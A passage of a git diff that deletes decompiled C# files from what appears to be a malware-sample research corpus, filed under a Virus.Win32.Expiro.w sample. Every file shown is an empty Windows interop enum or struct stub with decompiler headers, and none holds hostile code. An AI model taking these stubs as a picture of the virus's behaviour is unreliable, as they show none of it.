C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPBAG2_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPPAGESTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPPAGESTATUS.cs deleted file mode 100644 index 67636d5a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPPAGESTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPPAGESTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPPAGESTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPVARIANT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPVARIANT.cs deleted file mode 100644 index f4f3009d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPVARIANT.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPVARIANT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagPROPVARIANT -{ - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240x94723e1f\u0024216\u0024 - { - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240x94723e1f\u0024217\u0024 - { - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240x94723e1f\u0024218\u0024 - { - } - } - } - - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240x61d4662f\u0024156\u0024 - { - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240x61d4662f\u0024157\u0024 - { - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240x61d4662f\u0024158\u0024 - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPictureAttributes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPictureAttributes.cs deleted file mode 100644 index 43097c13..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPictureAttributes.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPictureAttributes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPictureAttributes -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagQACONTAINERFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagQACONTAINERFLAGS.cs deleted file mode 100644 index 5bf2854c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagQACONTAINERFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagQACONTAINERFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagQACONTAINERFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREADYSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREADYSTATE.cs deleted file mode 100644 index dda535d5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREADYSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREADYSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagREADYSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagRECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagRECT.cs deleted file mode 100644 index 4a5158c2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagRECT.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagRECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagRECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREGCLS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREGCLS.cs deleted file mode 100644 index 7f9661ff..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREGCLS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREGCLS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagREGCLS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREGKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREGKIND.cs deleted file mode 100644 index a4fe0aa3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagREGKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREGKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagREGKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSERVERCALL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSERVERCALL.cs deleted file mode 100644 index 47daad60..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSERVERCALL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSERVERCALL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSERVERCALL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSF_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSF_TYPE.cs deleted file mode 100644 index 4ad91b3e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSF_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSF_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSF_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSHCONTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSHCONTF.cs deleted file mode 100644 index 06979d80..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSHCONTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHCONTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSHCONTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSHGDN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSHGDN.cs deleted file mode 100644 index bc623d1a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSHGDN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHGDN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSHGDN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTATFLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTATFLAG.cs deleted file mode 100644 index db3fbe8a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTATFLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTATFLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSTATFLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTDMSHLFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTDMSHLFLAGS.cs deleted file mode 100644 index ca9e9fa2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTDMSHLFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTDMSHLFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTDMSHLFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGC.cs deleted file mode 100644 index e200fc6f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGMOVE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGMOVE.cs deleted file mode 100644 index 03930436..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGMOVE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGMOVE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGMOVE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGTY.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGTY.cs deleted file mode 100644 index 6019997e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTGTY.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGTY -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSTGTY -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTREAM_SEEK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTREAM_SEEK.cs deleted file mode 100644 index 82693a87..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTREAM_SEEK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTREAM_SEEK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSTREAM_SEEK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTRRET_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTRRET_TYPE.cs deleted file mode 100644 index 2b67b1f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSTRRET_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRRET_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSTRRET_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSYSKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSYSKIND.cs deleted file mode 100644 index b902c1f7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagSYSKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSYSKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSYSKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagShutdownType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagShutdownType.cs deleted file mode 100644 index 2e04d5a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagShutdownType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagShutdownType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagShutdownType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTEXTMETRICA.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTEXTMETRICA.cs deleted file mode 100644 index 401a6fda..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTEXTMETRICA.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTEXTMETRICA -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct tagTEXTMETRICA -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTEXTMETRICW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTEXTMETRICW.cs deleted file mode 100644 index 0e43c538..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagTEXTMETRICW.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTEXTMETRICW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: 